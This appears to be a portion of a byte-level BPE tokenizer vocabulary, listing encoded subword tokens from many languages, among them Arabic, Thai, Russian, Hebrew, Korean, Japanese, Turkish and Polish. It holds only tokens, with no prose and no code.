+جزاء +ลà¸Ńย +ĠciaÅĤa +Ġgiết +ĠзнаÑĩиÑĤелÑĮно +Ġolmadıģ +Ġolmadıģını +нд +ндекÑģ +تأÙĥد +Ġìĸ¸ +Ġìĸ¸ìłľ +aydın +ãĥīãĥ¬ãĤ¹ +Ġsắt +Ġíĺ¸íħĶ +Ġë¶ģ +Ġë¶ģíķľ +ãĥijãĤ¤ +Ġ×ŀש×Ĺ×§×Ļ +à¸Ħà¸Ļà¸Ńืà¹Īà¸Ļ +ĠизгоÑĤов +ĠизгоÑĤовлен +à¹Ģà¸ģียร +à¹Ģà¸ģียรà¸ķิ +תקשר +ĠÑĢаÑģÑĩеÑĤ +สà¹Ģà¸ķ +Ġlänger +ĠiÅŁlet +ĠiÅŁletme +ĠعÙĦÙĬÙĨ +ĠعÙĦÙĬÙĨا +élection +ĠاÙĦغربÙĬØ© +íĭĢ +ãĤĤãĤīãģĪ +Ġкниги +أسÙħ +أسÙħاء +Ġthá»ı +Ġthá»ıa +หà¸Ļู +Ġ×ł×¢×©×Ķ +à¸łà¸²à¸¢à¹ĥà¸ķà¹ī +à¸ŀืà¸Ĭ +رÙĬØ· +ÙģÙĪØ¶ +ãģĤãĤĬãģĮãģ¨ãģĨãģĶãģĸãģĦãģ¾ãģĹãģŁ +ש×ĵ×Ķ +Ġngá»±c +ĠÑģеÑĢÑĮ +ĠÑģеÑĢÑĮезн +Tôi +Ġfiyatları +ĠвÑģÑİ +ĠCódigo +Ġ×Ķש×IJ +Ġ×Ķש×IJ׾×Ķ +ĠPública +إخ +إخÙĪØ§ÙĨ +ĠзаÑıвил +ãĥ¦ãĥ¼ +ר×IJ×Ļת +volución +Ġszko +ĠszkoÅĤy +جرÙĬدة +Ġpensé +ìī¬ +ĠBüyükÅŁehir +ĠØ£ÙħرÙĬ +ĠØ£ÙħرÙĬÙĥÙĬ +à¸Ļัà¸ģศึà¸ģษา +Ġtodav +ĠtodavÃŃa +ĠСан +ĠСанкÑĤ +íķĺìŀIJ +ØŃÙĪØ§ÙĦ +׼×ķשר +à¹Ģลยà¸Ħรัà¸ļ +Ġalgu +Ġalguém +Ù쨲 +Ġçekil +Ġ×ĵר׼×Ļ×Ŀ +ãĥIJãĥ© +à¸ģà¹ĩสามารà¸ĸ +สà¹Īวà¸Ļลà¸Ķ +íı° +ĠPúb +ĠPúblico +à¹ģà¸Ļวà¸Ĺาà¸ĩ +×IJת×Ĵר +شاش +شاشة +ciÅĽni +ĠÃľrün +ÙĦÙĪØŃ +ĠاÙĦبÙĨ +ĠاÙĦبÙĨÙĥ +ì¡°ì¹ĺ +Ġorganización +ãģĤãĤĬãģĮãģ¨ãģĨãģĶãģĸãģĦãģ¾ãģĻ +sätze +ĠÑģемей +ÙĤصد +ÑģÑĤвеннÑĭе +Ġprécéd +Ġprécédent +à¸ģรุà¸ĩà¹Ģà¸Ĺà¸ŀฯ +ãģ¨è¨ĢãģĦ +×ij׳×Ļ×Ļף +ĠØŃÙĪ +ĠØŃÙĪØ§ÙĦÙĬ +סקס +ĠsaÄŁlamak +Ġ׾צ×Ļ×Ļף +×§×ĵש +Ġ×Ķ×ŀ×¢×¨×Ľ×ª +Ġ׾×Ķ×¢×ij×Ļר +Ġgünd +Ġgündem +ĠнаÑĪего +à¹ĥà¸Ļà¸ŀืà¹īà¸Ļà¸Ĺีà¹Ī +à¹Ģà¸Ħรืà¸Ń +à¹Ģà¸Ħรืà¸Ńà¸Ĥ +à¹Ģà¸Ħรืà¸Ńà¸Ĥà¹Īาย +ظاÙĩرة +ÙħÙĨظÙħ +ÙħÙĨظÙħات +Ùħتاز +追ãģĦ +dıkt +dıktan +ĠëįĶìļ± +ĠÐĿапÑĢимеÑĢ +twór +×ŀ×ķעצ×Ķ +ÙĥÙĪÙĥ +Щ +×ŀ×ĺפ׾ +ólica +訪ãĤĮ +ĠëĮĢë¶Ģ +ĠëĮĢë¶Ģë¶Ħ +ãĤ¯ãĥªãĥĥãĤ¯ +ãĤĴéģ¸ +ãĤĴéģ¸ãģ¶ +Ġpowsta +ĠpowstaÅĤ +Ġrazón +×ij×ķ×Ĺר +ĠÑģообÑīил +Ġ×§×ij×ķ×¢ +rêt +à¸Ķีà¸Ĥึà¹īà¸Ļ +×ŀסע×ĵ +×ŀסע×ĵ×ķת +ĠÃĸsterreich +Ġ׳×Ĺש×ij +Ùħبادرة +ì´ī +×Ĵ׳×ĺ×Ļ +ä¿¡ãģĺ +duÄŁ +duÄŁunu +Ġphú +ĠاÙĦأخÙĬر +Ġتعتبر +landırıl +ãģ¨ãģ¯ãģĦ +ãģ¨ãģ¯ãģĦãģĪ +ĠاÙĦØ·ÙĦ +ĠاÙĦØ·ÙĦاب +ĠNº +éģ¿ãģij +اÙĦÙħع +اÙĦÙħعرÙĪÙģ +à¸ªà¸łà¸² +éĽ¢ãĤĮ +ĠпомоÑīÑĮ +ĠзнаеÑĤ +ãĥĹãĥ¬ãĤ¼ +ãĥĹãĥ¬ãĤ¼ãĥ³ãĥĪ +Ġsupérieur +Ġש׾×Ļש×Ļ +ĠاÙĦÙĨÙĪØ¹ +ãĤĵãģ§ãģĻãģŃ +à¸Ńà¸ļรม +Ġgiá»įng +ĠwzglÄĻd +ĠاÙĦÙģÙĤر +èrent +Ġ×ŀ×IJ×Ĺ +Ġ×ŀ×IJ×Ĺ×ķר×Ļ +×Ĵ×Ĵ +×Ļ×Ļ×ij +ÙħÙĦاب +ÙħÙĦابس +Ġhükü +Ġhükümet +Ġ×ŀ×Ĵ×Ļ×ij +ĠÐŀÑĩ +ĠÐŀÑĩенÑĮ +æĹ©ãģĦ +Ġconstrucción +Ġthượng +ï¼ĭ +Ġcoração +à¹Ģหลà¹ĩà¸ģ +ĠBaÅŁb +ĠBaÅŁbakan +éĢ£ãĤĮ +ãģĻãĤĭãģĵãģ¨ãģĮãģ§ãģįãģ¾ãģĻ +ĠÙĤاÙħت +ĠاÙĥثر +ÙģØ§Ø¹ÙĦ +ĠÑĦоÑĢ +ĠÑĦоÑĢÑĥм +غذÙĬ +ĠiÅŁle +ĠiÅŁleml +ĠiÅŁlemleri +ĠìĤ¬ëŀĮìĿĢ +ĠìŀijìĦ± +Ġë§Ī볨 +ÙħجÙĦس +หมู +дв +двиг +двига +à¹Ģสียà¸Ĭีวิà¸ķ +×Ķתפת×Ĺ +×Ķתפת×Ĺ×ķת +ĠмеÑĤÑĢо +ĠÑģенÑĤ +ĠÑģенÑĤÑı +ĠÑģенÑĤÑıбÑĢÑı +ê³§ +Ġ×ľ×¤×¢ +Ġ×ľ×¤×¢×ŀ×Ļ×Ŀ +à¹Ģà¸ļีย +詳ãģĹãģı +çķ°ãģªãĤĭ +Ġİlçe +ĠAtat +ĠAtatür +ĠAtatürk +รุà¹Īà¸ĩ +Ġkaldı +Ġ주ìŀ¥ +Ġprésence +Ġнаб +ĠнаблÑİ +ĠнаблÑİда +ĠÑģамого +×Ĵ×ķש +×ŀ×ĺ×ķפ +×ŀ×ĺ×ķפ׾ +ĠвÑĭбиÑĢа +ĠìŀIJ리 +åĪĨãģĭãĤīãģªãģĦ +ĠзÑĥб +Ġש׼×ijר +Ġدائ +ĠدائÙħا +ĠпаÑĢÑĤи +ï¼² +ĠاÙĬضا +ĠÑħоз +ĠÑħозÑı +ĠÑħозÑıй +ĠÑħозÑıйÑģÑĤв +ĠاÙĦأج +ĠاÙĦأجÙĨب +ĠاÙĦأجÙĨبÙĬØ© +ĠÐĹна +ĠApós +ĠÑįнеÑĢ +ĠÑįнеÑĢги +Ġyans +Ġyansı +ĠJusti +ĠJustiça +Ġprévu +มวล +ìŀ¥ëĭĺ +à¸ģระà¸ļ +à¸ģระà¸ļวà¸Ļ +à¸ģระà¸ļวà¸Ļà¸ģาร +×ŀ×ŀ +×ŀ×ŀ×ķצע +Ġhẹ +Ġhẹn +здание +ĠakÅŁ +ĠakÅŁam +×ĺ×ķפ +Ġgerekt +Ġgerekti +ĠgerektiÄŁini +Ġnarz +ĠnarzÄĻdzi +épo +époque +ĠThần +Ġwysoko +ĠwysokoÅĽci +à¸ľà¸¹à¹īà¸Ľ +à¸ľà¸¹à¹īà¸Ľà¹Īวย +ĠÙĬبدÙĪ +ÑĤелÑĮного +ĠвзглÑıд +ĠjednÄħ +ĠìĿĺ견 +Ġà¸Ĥà¸ĵะà¸Ĺีà¹Ī +פ×Ļ×ĵ +ìĥģëĭ´ +Ġmỡ +×Ķ×ŀ׾ +×Ķ×ŀ׾צ×ķת +ĠÑģоÑģÑĤо +ĠÑģоÑģÑĤоиÑĤ +Ġави +Ġавиа +ĠLänder +تصÙĪÙĬر +×ŀ×ĵ×Ļ×Ķ +ìłĪì°¨ +ãģ¨ãĤĬ +ãģ¨ãĤĬãģĤ +ãģ¨ãĤĬãģĤãģĪ +ãģ¨ãĤĬãģĤãģĪãģļ +ĠÑĢÑıд +ĠÑĢÑıдом +ĠNhất +ĠاÙĦÙĥاÙħÙĦ +×Ĺ׾׾ +ĠGiấy +צ×ĺר +צ×ĺרף +Ġ׾×ij×ĺ׾ +ĠимеÑĤÑĮ +ס×ŀ×ķ×ļ +Ġparticipação +íķľëĭ¤ë©´ +ÙħÙĨتدÙĬ +ÙħÙĨتدÙĬات +ĠeÄŁlen +gänge +ربØŃ +ãĤ®ãĥ£ +ĠاÙĦرÙĤÙħ +à¸ĭà¹īำ +ĠHóa +×ŀר×Ĺ×§ +ØŃÙħاÙħ +بÙĪÙĥ +ĠArtÃŃculo +ãĥĦãĤ¢ãĥ¼ +×Ķפ׼×Ķ +×Ĺ׾×ķף +ĠпеÑĢеÑħод +lenmiÅŁ +زراعة +Ġseñor +ãģ£ãģ¦ãģįãģ¦ +إش +إشارة +ĠpodÃŃa +ĠÃľlke +нÑģкаÑı +Ġadapté +Ġdüzenlen +Ġdüzenlenen +ĠÑģÑĤала +ĠÙĬØŃتاج +Ġnier +Ġnieruch +Ġnieruchomo +ĠnieruchomoÅĽci +ãģĵãģ¨ãģĮãģĤãĤĭ +ยà¸Ńà¸Ķà¹Ģยีà¹Īยม +ĠÙħج +ĠÙħجاÙĨÙĬ +Ġзаб +Ġзабол +Ġзаболев +ĠзаболеваниÑı +ĠÅĽro +ĠÅĽrodk +ĠÅĽrodków +Ġ×Ķ׾×IJ×ķ×ŀ×Ļ +ĠdokÅĤad +ĠdokÅĤadnie +ãģŁãģıãģªãģĦ +ãģ¯ãģļãģ§ãģĻ +ã썿ĢĿãģ£ãģ¦ãģĦãģŁ +écran +ìĹħì²´ +trzymaÅĤ +ÑģÑĤвеннÑĭй +ĠNotÃŃc +ĠNotÃŃcias +ÙħرÙĬ +ÙħرÙĬض +æ°Ĺè» +æ°Ĺ軽 +æ°Ĺ軽ãģ« +ëĵ£ +Ġ×ĵ×ķ×IJר +Ġ׾×ŀ׳ +Ġ׾×ŀ׳×ķ×¢ +ĠçalÄ±ÅŁÄ±yor +ĠÅŁidd +ĠÅŁiddet +ĠMặt +ĠateÅŁ +ĠполÑĥÑĩениÑı +à¹Ģà¸Ħรืà¹Īà¸Ńà¸ĩมืà¸Ń +ĠgrÃ¶ÃŁer +دائ +دائرة +Ġbulun +Ġbulunmaktadır +à¹Ģหร +à¹Ģหรีย +à¹Ģหรียà¸į +à¸Ļัà¸ģà¸Ĺà¹Īà¸Ńà¸ĩà¹Ģà¸Ĺีà¹Īยว +Ġalanında +ĠÑĥзна +ĠлеÑĩение +売ãĤĮ +Ġçevir +ĠdesteÄŁi +ĠheiÃŁt +âĸ² +ØŃØ· +à¸Ħำà¸ķà¸Ńà¸ļ +ãĤªãĥ³ãĥ©ãĤ¤ãĥ³ +Ġ×ij×Ĺ×Ļ×Ļ×Ŀ +ãĥ¦ãĥĭ +Ġdüzenleme +ĠmodalitÃł +سرط +سرطاÙĨ +×ŀ׼×ķף +ĠданнÑĭй +ترت +ترتÙĬب +à¸ļาà¸ĩà¸Ħà¸Ļ +ĠÄIJá»ĭnh +มูล +มูลà¸Ħà¹Īา +ÙĨÙĤص +à¸ģารรัà¸ģษา +ĠÑĦон +ĠÑĦонд +ãĤĪãģĨãģ«ãģªãģ£ãģŁ +ÙħعاÙĦ +ÙħعاÙĦجة +ĠOsman +ĠOsmanlı +иÑĩеÑģком +à¸Ńยาà¸ģà¸Īะ +ãģķãģ¾ãģĸ +ãģķãģ¾ãģĸãģ¾ +ãģķãģ¾ãģĸãģ¾ãģª +Ġת×ķ׼׾ +עצ×ij +ĠاÙĦعسÙĥ +ĠاÙĦعسÙĥرÙĬ +Ġvéhic +Ġvéhicule +Ġ×Ļצ×Ĺ×§ +ĠاÙĦÙĪØŃ +ĠاÙĦÙĪØŃÙĬد +ĠاÙĦعدÙĪ +ĠQuản +Ġê³µëıĻ +بدÙĦ +ĠÄijảng +Ġmá»ĩnh +Ġniezb +ĠniezbÄĻ +ĠniezbÄĻdn +Ġyayınlan +обÑīи +Ġgötür +צפ +צפ×ķ×Ļ +ĠÙĦÙĬبÙĬ +ĠÙĦÙĬبÙĬا +ØŃÙĪØ§ +Ġдоб +ĠдобÑĢо +иÑĢÑĥем +ĠاÙĦØŃÙĥÙĪÙħÙĬØ© +mÃ¤ÃŁig +Ġedición +влекаÑĤелÑĮ +влекаÑĤелÑĮн +Ġ×ª×©×ľ×ķ×Ŀ +Ġ×Ķש×ķ׳×Ļ×Ŀ +มิà¸ĸุ +มิà¸ĸุà¸Ļ +มิà¸ĸุà¸Ļายà¸Ļ +é£Łãģ¹ãģ¦ +ĠìĪĺì§ij +ס×ij×Ļ +ĠиÑİлÑı +Ġà¹Ħà¸Ķà¹īà¹ģà¸ģà¹Ī +׾×Ĺ×Ŀ +trä +trägt +ãģĿãĤĤãģĿãĤĤ +ÐĿÐķ +ĠвнÑĥÑĤ +ĠвнÑĥÑĤÑĢи +ãģ¨ä¸Ģç·Ĵãģ« +ãĤ«ãĥķãĤ§ +Ġ×ij×Ĺ×ĵר +×Ĺ×ŀש +ãĤ¨ãĥį +ãĤ¨ãĥįãĥ« +ãĤ¨ãĥįãĥ«ãĤ® +ãĤ¨ãĥįãĥ«ãĤ®ãĥ¼ +à¸Ĥà¸Ńà¸ĩà¸ķัวà¹Ģà¸Ńà¸ĩ +بÙĤاء +פס×Ļ׼ +פס×Ļ׼×ķ׾×ķ×Ĵ +ãĥ¡ãĥĥ +ãĥ¡ãĥĥãĤ» +ãĥ¡ãĥĥãĤ»ãĥ¼ãĤ¸ +ÙĦÙĤب +AÄŀ +שק×Ļ×¢ +ÙĤساÙħ +×ĵ×ķ×Ĵ×ŀ×Ķ +æ·±ãģĦ +íĸĪëĬĶëį° +ĠrozwiÄħzanie +à¸Ļัà¹Īà¸Ļà¹Ģà¸Ńà¸ĩ +×Ļצ×ij +Ġtrông +à¹ĥà¸Ĭà¹īà¸ļริà¸ģาร +ĠاÙĦÙħÙĪØ³Ùħ +ĠдеÑĤи +ãģĹãģĭãģªãģĦ +ס×Ļף +Ġréférence +à¹ģหà¹īà¸ĩ +ãĤĤãĤīãģ£ãģŁ +Ġ׾ר׼ +Ġ׾ר׼×ķש +شعÙĪØ± +ĠÐijог +Ġlazım +Ġ×Ļש׳×Ŀ +ĠпаÑĢÑĤ +ĠпаÑĢÑĤнеÑĢ +ĠÑĥника +ĠÑĥникалÑĮн +Ġmatériel +×ŀרק +Ġphưá»Ŀng +Ġзай +Ġзайм +ÙģÙĤد +UniversitÃł +×¢×¨×Ľ×Ļ×Ŀ +Ġbaño +ĠноÑı +ĠноÑıбÑĢÑı +à¸Ľà¹īาย +Ġtats +Ġtatsäch +Ġtatsächlich +ĠÑĤÑĢеÑĤÑĮ +Ñįм +ãĥĻãĥ¼ãĤ¹ +Ġnhá»±a +ìĬ¤íģ¬ +ĠعبداÙĦÙĦÙĩ +Ġת×ķר×Ķ +أشÙĬ +أشÙĬاء +ĠÙĦÙĦغا +ĠÙĦÙĦغاÙĬØ© +ÙħÙĪØ§ÙĤ +ÙħÙĪØ§ÙĤÙģ +ĠgÅĤówna +ĠartÄ±ÅŁ +Ġ×ŀ×§×ķ×ŀ×Ļ +ãĤ¯ãĥ©ãĥĸ +ĠسÙĪÙī +ĠìŬìĦ± +اسر +اسرائÙĬÙĦ +Ġ×ł×Ľ×ª×ij +ยà¹īà¸Ńà¸Ļ +Ġdeberá +Ġphẫu +ÑİÑīем +ĠÙĦدÙĬÙĨا +×ŀ×ĺ×Ķ +Ġ׳×ķ׾×ĵ +ĠвÑģÑĤÑĢеÑĩа +ãĤīãĤĮãģ¦ãģĦãģ¾ãģĻ +ĠcaÅĤej +ยึ +ยึà¸Ķ +поÑĤен +поÑĤенÑĨи +ĠлиÑĤ +ĠлиÑĤеÑĢ +ĠлиÑĤеÑĢаÑĤÑĥÑĢ +Ġкаждом +ĠíĮIJ +ĠíĮIJëĭ¨ +à¸Īู +Ġpresença +ãģªãĤĵãģ§ +ÙħÙĬاÙĩ +инÑĦоÑĢм +инÑĦоÑĢмаÑĨион +инÑĦоÑĢмаÑĨионн +ĠìŀIJìŰ +ר׼ש +Ġödül +ç¶ļãģı +ĠпÑģ +ĠпÑģиÑħ +ĠпÑģиÑħолог +تذÙĥر +Ġìŀħìŀ¥ +ลà¸Ķà¹Į +ìĦłê±° +ãģ£ãģ¦ãģĬãĤĬãģ¾ãģĻ +Ġ×Ļ×¢ +Ġ×Ļ×¢×§×ij +ĠاÙĦطعاÙħ +ãĥĨãĤ¹ãĥĪ +ĠTuấn +Ġparticipación +×ŀ×ķ×ŀ×Ĺ×Ķ +×Ĵרס×Ķ +ĠاÙĦتÙĨÙģÙĬ +ĠاÙĦتÙĨÙģÙĬذÙĬ +ĠбезопаÑģн +gef +gefähr +Ø´ÙĪØ± +ĠmyÅĽli +ÙĪØ§Ø´ÙĨ +ÙĪØ§Ø´ÙĨØ·ÙĨ +׳×ķסע +ÙĥÙĩ +ÙĥÙĩرب +ÙĥÙĩرباء +ĠmusiaÅĤ +ìĭ¸ +ãĥĸãĥ©ãĥĥãĤ¯ +Ġcréé +ÙĨÙĩار +owoÅĽÄĩ +ÙħØŃاÙĥÙħ +ĠwÅĤaÅĽ +ĠwÅĤaÅĽc +ĠwÅĤaÅĽciciel +ĠÙĬؤ +ĠÙĬؤدÙĬ +×ŀ×¢×ķ׳ +×IJ×ij׾ +خطأ +ĠÑħолод +×ĸ×ķ׾ +ãģĵãĤĮãĤī +ãģĵãĤĮãĤīãģ® +Ġbásica +ฤà¸Ķ +ฤà¸Ķูà¸ģ +ฤà¸Ķูà¸ģา +ฤà¸Ķูà¸ģาล +èIJ½ãģ¡çĿĢ +ãģªãģĦãģĵãģ¨ +صÙĪÙħ +ÙĨجØŃ +׳ק×ķ×ĵ +׳ק×ķ×ĵת +клаÑģÑģ +íķĺìĭľëĬĶ +ëĦĺ +Ġש×IJ×Ļ׳×ķ +ĠСейÑĩаÑģ +mayacaģı +Ġyapılır +ĠcategorÃŃa +عباد +ĠТеп +ĠТепеÑĢÑĮ +×Ķ×Ļס×ĺ×ķר×Ļ +hế +ãĤ³ãĥ¼ãĥī +Ġcabeça +جÙħا +جÙħاÙĩ +جÙħاÙĩÙĬر +ä½İãģĦ +ĠÑĤоваÑĢов +à¸Ĭาวà¸ļà¹īาà¸Ļ +ĠÑģÑĤанов +ĠÑģÑĤановиÑĤÑģÑı +ĠавÑĤомобилÑĮ +ĠÑģлÑĥÑĩай +à¸Ńัà¸ŀ +ĠGiriÅŁ +ĠìĿ¼ëĭ¨ +ĠпÑĢоÑģ +ĠпÑĢоÑģмоÑĤÑĢ +ãģªãģıãģªãģ£ãģŁ +à¸¡à¸µà¸Ľà¸±à¸įหา +ïºİ +écoute +ĠÙħÙĪØ¬ÙĪØ¯ +ĠسرÙĬع +ĠÙĪÙĩÙĨا +ĠÙĪÙĩÙĨاÙĥ +à¸Ħุà¸ĵสม +à¸Ħุà¸ĵสมà¸ļัà¸ķิ +Ġìļ°ìĦł +à¸ŀระà¸ŀุà¸Ĺà¸ĺ +好ãģ¿ +ظÙĦÙħ +ĠмакÑģ +ĠмакÑģималÑĮ +ĠмакÑģималÑĮно +ãĥªãĤ¢ãĥ« +à¹ģมà¹īวà¹Īา +ĠاÙĦØŃÙĪØ§Ø± +ãĥĹãĥ©ãĤ¹ +ĠعÙĦاÙĤØ© +ĠíĸīëıĻ +Ġgönderil +Ġlãi +ĠsaÄŁlıkl +ĠsaÄŁlıklı +ĠÑĪаг +Ġ×ij×IJר×Ķ +prowadziÄĩ +ãģĦãģıãģ¤ãģĭ +ĠبتارÙĬØ® +Ġ×ij×IJ×ķת×Ķ +Ġmóc +ĠÐľÐ½Ðµ +ãĥĹãĥ¬ãĥ¼ +×IJ×ĸר×Ĺ +åł´åIJĪãģ«ãģ¯ +使ãģĪ +à¹Ģรืà¸Ńà¸Ļ +ĠÐŁÐµÑĤ +ĠÐŁÐµÑĤÑĢ +ãģ«åħ¥ãĤĭ +Ùħادة +à¹Ģà¸ĩืà¹Īà¸Ńà¸Ļ +à¹Ģà¸ĩืà¹Īà¸Ńà¸Ļà¹Ħà¸Ĥ +ĠÑģоÑģÑĤоÑıние +ônica +ĠÑĦев +ĠÑĦевÑĢа +ĠÑĦевÑĢалÑı +Ġ×ķ×ĸ +Ġ×ķ×ĸ×IJת +à¸Ħริ +à¸Ħริส +ĠÐķÑīе +ãģ£ãģ¦ãģĹãģ¾ãģĦãģ¾ãģĹãģŁ +ĠпÑĢавиÑĤелÑĮ +ĠпÑĢавиÑĤелÑĮÑģÑĤв +Ġtäglich +Ġëĭ¹ìĭľ +×ŀ×ķ×¢×ŀ×ĵ +ĠдвоÑĢ +æīķ +æīķãģĦ +ĠÑģÑĤанеÑĤ +ĠвоздейÑģÑĤв +ĠвоздейÑģÑĤви +Ġfête +à¹Ģสา +תק×ķ×ķ×Ķ +Ġuyar +Ġuyarı +à¸ģลัà¸ļà¹Ħà¸Ľ +Ġgiưá»Ŀng +Ġва +ĠваÑĪи +ĠÄijáºŃu +ĠSpaÃŁ +ĠìķĦë§Ī +à¹Ħà¸Ķà¹īà¸ĩà¹Īาย +Ġ×Ķ×ŀ×ijקש +æĸ°ãģŁ +æĸ°ãģŁãģª +ılıyor +план +Ġ×Ķ×ijר×Ļ×IJ×ķת +ĠaÄŁrı +Ġsaygı +建ãģ¦ +Ġnajwyż +Ġnajwyższ +سÙĬاسات +ãģĬå¾Ĺ +ĠاÙĦعÙĦÙĬ +ĠاÙĦعÙĦÙĬا +Ġcorazón +ì¹ĺë£Į +หัวà¸Ĥà¹īà¸Ń +ĠبØŃÙĬ +ĠبØŃÙĬØ« +звезд +بÙĪØ§Ø¨Ø© +ÐĽÐĺ +ÙĦازÙħ +Ġrozp +Ġrozpoc +ĠrozpoczÄĻ +触ãĤĮ +ĠاÙĦجÙħÙĩ +ĠاÙĦجÙħÙĩÙĪØ± +ĠspÄĻd +ĠspÄĻdz +วิà¸Ĺยาศาสà¸ķรà¹Į +иваеÑĤÑģÑı +Ġданной +Ġreprésente +ĠÄijá»ĭch +Ġ×¢×ŀ×ķ×§ +à¸Ńัà¸Ļà¸ķร +à¸Ńัà¸Ļà¸ķราย +Ġestratég +Ġestratégia +padÅĤ +Ġвполн +Ġвполне +ĠпÑĢедоÑģÑĤавлен +×Ĺ׾×ķ×§ +×Ĺ׾×ķקת +ãĤ¢ãĥĬ +ĠاÙĦغذ +ĠاÙĦغذائÙĬ +ĠÑĥзн +ĠÑĥзнаÑĤÑĮ +à¸ĭà¹īาย +å½ĵãģ¦ +ØŃÙĬاء +Ġbásico +×§×ķ×ij×¢ +ĠاÙĦÙħباراة +ĠاÙĦÙĩاتÙģ +Ġ׼׳×Ĵ×ĵ +à¸Ľà¸£à¸°à¸«à¸¢ +à¸Ľà¸£à¸°à¸«à¸¢à¸±à¸Ķ +Ðļак +à¸Ĺีà¹Īà¸Ļà¹Īา +à¸Ĺีà¹Īà¸Ļà¹Īาสà¸Ļà¹ĥà¸Ī +ãģ¾ãģģ +ï½¢ +Ñģкоп +Ġsonrasında +ĠurzÄħd +ĠurzÄħdzenia +׼×ķ×ķ׳ +׼×ķ×ķ×ł×ª +Ġ׾×Ķת×ŀ×ķ×ĵ +Ġ׾×Ķת×ŀ×ķ×ĵ×ĵ +ĠÑģли +ĠÑģлиÑĪ +ĠÑģлиÑĪком +ĠÑģÑĤÑĥд +ĠÑģÑĤÑĥденÑĤ +Ġ×Ķ×ķ×ĵ +Ġ×Ķ×ķ×ĵ×¢×Ķ +ë¹Ħìļ© +à¸Ńยาà¸ģà¹ĥหà¹ī +Ġbá»ģ +ยุà¸Ĺà¸ĺ +ÐĺÐĿ +سائر +أصÙĪÙĦ +ĠاÙĦغرÙģ +ãģĵãģ¨ãĤĤãģĤãĤĬãģ¾ãģĻ +è¾¼ãģ¾ãĤĮ +ĠاÙĦسابع +Ġcá»§ +ãģĦãģŁãģłãģĦãģŁ +ì§ĵ +ìĤ¬ë¬´ +powiedź +تÙģÙĥ +تÙģÙĥÙĬر +иÑĢовки +ĠíĨµíķ´ìĦľ +ãĤ¨ãĤ¹ãĥĨ +ĠдеÑıÑĤелÑĮноÑģÑĤÑĮ +ĠданнÑĭм +Ġ×¢×ķר +Ġ×¢×ķר׼×Ļ +×ķ×ĵעת +Ġhayatını +ĠbÄħd +ĠbÄħdź +obsÅĤug +à¹Ģà¸ŀียà¸ĩà¹ģà¸Ħà¹Ī +à¸ĭà¹Īา +è²łãģij +ĠÑģÑĤÑĢем +ĠÄijá»īnh +ĠÐłÑĥÑģ +ĠNữ +Ġ׾×Ķש×Ļ×Ĵ +Ġjednoc +Ġjednocze +ĠjednoczeÅĽnie +Ġ×Ķ×Ĵ×ij×ķ×Ķ +أخÙĦاÙĤ +ĠнаÑģел +ĠнаÑģелениÑı +ĠÙĬÙĨب +ĠÙĬÙĨبغÙĬ +ãģĮãģĭ +ãģĮãģĭãģĭ +×Ĵעת +ÐŀÐł +ĠналиÑĩии +Ġë§Īì§Ģ +Ġë§Īì§Ģë§ī +ĠíĸīìĤ¬ +ĠtreÅĽci +Ġê°Ģì¹ĺ +ì¦ĺ +Ġаналог +×Ķצעת +влад +владе +ĠÑģделал +Ġ׳×Ĵ×Ļש +Ġ׳×Ĵ×Ļש×ķת +полнение +à¸Ĩà¹Īา +ĠDön +׼׾׼׾×Ķ +×ŀ×ĸ×Ĵ +ÙħÙģ +ÙħÙģÙĩ +ÙħÙģÙĩÙĪÙħ +×Ķ×ĵ +×Ķ×ĵפס +×Ķ×ĵפס×Ķ +ãģĻãģİãģ¦ +ĠгÑĢ +ĠгÑĢн +×ŀ×ĺ×ķס +Ġ기ìĸµ +ï¾Ł +ĠpÅĤyn +ĠGründe +ĠBücher +ĠwedÅĤug +ãģ¾ãģłãģ¾ãģł +Ġ׳×Ķ×ĵר +ĠÙĬستطÙĬع +ĠHiá»ĩp +ãĤŃãĥ£ãĥ³ãĥļ +ãĤŃãĥ£ãĥ³ãĥļãĥ¼ãĥ³ +Ġthá»ķ +Ġeuropéenne +à¸ļัà¸ĩ +à¸ļัà¸ĩà¸Ħัà¸ļ +ĠszczegóÅĤowo +׳שק +ãĥķãĥ©ãĥ³ãĤ¹ +×ŀ×ķ×ŀ×Ĺ×Ļ +Ġcomún +Ġçarp +ØŃتÙĬا +ØŃتÙĬاج +ØŃتÙĬاجات +ëĭ´ëĭ¹ +ä½ķ度 +ä½ķ度ãĤĤ +×ĵ×ij×§ +ãģįãĤĮ +ãģįãĤĮãģĦ +Ġкам +ĠкамеÑĢ +ĠespecÃŃfico +Ġteléfono +à¸ķัà¹īà¸ĩà¸Ńยูà¹Ī +IÅŀ +ãģ©ãĤĵãģ© +ãģ©ãĤĵãģ©ãĤĵ +עצ×ŀ×IJ×Ļ +à¸Ķัà¸ĩà¸Ļีà¹ī +ĠÑĦоÑĢмиÑĢов +ĠÑĦоÑĢмиÑĢова +×ķ×ŀ×ij +Ġkullanımı +ÐľÐŀ +עש×Ļ +עש×Ļ×Ļ×Ķ +Ġönlem +à¹Ģà¸Ńà¹ĩ +à¹Ģà¸Ńà¹ĩม +×ŀשק×Ļ×¢ +ר×Ļ×Ĺ +à¸Ĥัà¸Ķ +ĠíĻľ +ĠíĻľìļ© +à¸ĭะ +ãĤĪãģĨãģ«ãģªãĤĬãģ¾ãģĹãģŁ +ĠÑĢаÑģпÑĢ +ĠÑĢаÑģпÑĢоÑģÑĤ +ĠÑĢаÑģпÑĢоÑģÑĤÑĢан +ĠÑĢаÑģпÑĢоÑģÑĤÑĢанен +׼×Ļ×ķף +ÙĤبض +تصرÙĬØŃ +تصرÙĬØŃات +ĠоÑĢи +ĠоÑĢиг +ĠоÑĢигина +ĠоÑĢигинал +ĠاÙĦعاÙĦÙĬ +à¹ģหà¹Īà¸ĩà¸Ļีà¹ī +ãĥķãĤ¡ãĥ¼ +ãģ¦ãģĦãģį +ãģ¦ãģĦãģįãģŁãģĦ +פתר +פתר×ķ׳×ķת +Ġ×ij×Ļ×Ĺ +Ġ×ij×Ļ×Ĺ×ĵ +Ġodby +ĠodbyÅĤ +ĠоÑĩеÑĢед +Ġtrương +ãĤŃãĥ³ +×ŀ×ķפ +×ŀ×ķפע +ëĵľë¦½ +ëĵľë¦½ëĭĪëĭ¤ +à¸ŀืà¹īà¸Ļà¸IJาà¸Ļ +ìŀIJ격 +ĠViá»ĩn +ĠDespués +Ġ×IJ׾×Ļ׳×ķ +Ġdurée +íĩ´ +Ġmüzik +iếu +ĠÑĢазмеÑīен +ĠкÑĥд +ĠкÑĥда +غض +غضب +ĠTambém +à¸Īัà¸Ķสà¹Īà¸ĩ +à¸ģารà¹ģสà¸Ķà¸ĩ +onomÃŃa +Ġанг +Ġангли +Ġанглий +ĠанглийÑģк +Ġznal 